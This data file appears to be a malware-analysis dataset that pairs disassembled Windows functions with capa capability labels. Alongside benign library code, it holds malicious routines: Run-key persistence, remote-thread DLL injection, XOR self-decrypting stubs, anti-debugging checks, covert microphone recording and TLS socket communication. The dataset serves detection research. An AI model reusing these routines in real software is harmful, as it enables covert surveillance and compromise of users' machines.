joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47f1e0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x47f229
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47f6a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4eb170
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0047f250
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0047f2d0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0047f2d0
lea ecx, [esi + 0xc]
call fcn.004db626
lea ecx, [esi + 0x10]
call fcn.004db626
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00480860
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00480860
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00480860
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004db69b
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004db69b
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x480a50
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x480ab6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x480ab6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x480a97
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x483610
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x110]
call fcn.00483410
pop edi
add esp, 0x104
ret 4

Function at 0x4942b0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x4942e3
push esi
call fcn.00498fe0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4942dc
mov dword [esi + 0x14], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x494369
mov eax, dword [esi + 0x1b8]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x494352
mov eax, dword [esi + 8]
test eax, eax
je 0x494307
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b8]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x49434e
cmp eax, 2
je 0x494352
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4942fa
cmp eax, 3
je 0x49432d
cmp eax, 1
jne 0x4942fa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4942fa
mov edx, dword [esi + 0x144]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4942fa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004943a0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x494389
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x15
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.004943a0
add esp, 4
pop esi
ret
Function at 0x4d1730
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4ec410
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004c66b4
mov eax, dword [0x55ffd8]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004c65e6
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004d21d0
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x4d17d7
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4d17ce
cmp al, 0xff
je 0x4d17ce
dec al
mov byte [ecx], al
jmp 0x4d17d7
push ecx
call fcn.004db405
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4d1808
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4d17ff
cmp al, 0xff
je 0x4d17ff
dec al
mov byte [ecx], al
jmp 0x4d1808
push ecx
call fcn.004db405
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4dda69
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4ddaa1
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004dbaf6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004dbace
jmp 0x4ddaad
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4df163
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4df1a5
call fcn.004e5022
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4df1a5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4df19c
xor eax, eax
jmp 0x4df1ad
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004df1b3
pop edi
pop esi
pop ebx
ret 4

Function at 0x4e5552
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4e5580
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4e559e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004e54b8
jmp 0x4e559e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4e559e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004e54b8
test edi, edi
mov eax, edi
jne 0x4e5588
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x468b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004689b3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6e4c13a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x6e4c14da
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6e4c162a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e4c1670
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6e4c16b9
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6e4c16b6
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6e4c16b9
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6e4c1c80
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6e4c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6e4c6034]
sub esp, 4
test ebx, ebx
je 0x6e4c1ccb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6e4c1cc4
test esi, esi
je 0x6e4c1cc4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6e4c1ca0
mov dword [esp], 0x6e4c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6e4c1eb0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6e4c42a8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6e4c1f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6e4c1fd8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6e4c1f3e
cmp eax, 4
jne 0x6e4c1f60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6e4c1f4e
cmp edx, 4
je 0x6e4c1f4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6e4c1eb0

Function at 0x79db30
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79db36
pop ebp
sub ebp, 6
sub ebp, 0x39db30
jmp 0x79db94
jmp 0x79db9d
mov eax, 0x39db30
add eax, ebp
add eax, 0x93
mov ecx, 0x639
mov edx, 0xe415b4db
xor byte [eax], dl
inc eax
dec ecx
jne 0x79dbb4
jmp 0x79dbc7
mov cl, 0x9b
mov bl, 0xdb
retf
Function at 0x4016ef
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0x471d30
mov edi, edx
call fcn.00401fa0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x46fa98], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x46fa9c], edx
mov word [0x46faa6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x46fa9a], si
addsd xmm0, qword [edx*8 + 0x469f20]
mov dword [0x46faa0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x46faa8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40184a
push 0x46fa98
push 0xffffffffffffffff
push 0x46fab8
mov word [0x46faa4], cx
mulss xmm0, dword [0x469ecc]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x46faac], eax
mov dword [0x46fa70], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017cc
inc esi
cmp esi, 2
jb 0x4017a7
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fb8

Function at 0x4017cc
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x46fa70]
mov esi, ecx
mov ebp, 0x471cf0
push esi
mov ecx, ebp
call fcn.00401e45
mov ecx, eax
call fcn.00401f7d
mov edi, dword [0x471d2c]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dword [edi], eax
mov eax, dword [0x46fa70]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x471d2c]
push 0x20
add eax, ebx
push eax
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401a4d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x46faa6]
mov ebx, edx
push edi
movzx edi, word [0x46fa9a]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0x46fa9c]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401acd
xor al, al
jmp 0x401bc1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0x462da0
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x46fa9a
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x46fa9c
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x46faa6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x4048a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x46facc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4049fb
cmp byte [edi + 1], al
je 0x4049f7
cmp byte [edi + 0x31], al
je 0x404906
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.004052fe
sub esp, 0x14
mov ecx, esp
push 0x462f64
call fcn.00402073
call fcn.0041960a
add esp, 0x30
call fcn.0041eb9f
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404921
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a5b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.0041edce
cmp eax, 1
je 0x404967
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462ec8
call fcn.00402073
call fcn.0041960a
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.0041ebdf
and dword [edi + 0x4c], 0
jmp 0x404a77
mov ecx, dword [edi + 0x4c]
call fcn.0041f97f
cmp eax, 1
je 0x4049a4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462ec8
call fcn.00402073
call fcn.0041960a
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.0041eff1
jmp 0x404956
mov ecx, dword [edi + 0x4c]
call fcn.0041ed45
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049d9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462ec8
call fcn.00402073
call fcn.0041960a
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a79
cmp byte [edi + 0x31], 0
je 0x404a77
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404a77
sub ecx, 0x17
je 0x404a51
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041a9c5
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462ec8
call fcn.00402073
call fcn.0041960a
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
jmp 0x404a77
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462ec8
call fcn.00402073
call fcn.0041960a
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404a81
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0040245c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.004051ec
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051c3
push eax
call fcn.00434840
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051c3
push eax
call fcn.00434840
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051c3
push eax
call fcn.00434840
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403356
cmp byte [edi + 1], bl
jne 0x404b20
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x404b5b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041ef79
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fb8
lea ecx, [ebp + 0xc]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b76
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404bad
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.0041efb5
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404bc0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404bc5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404be1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4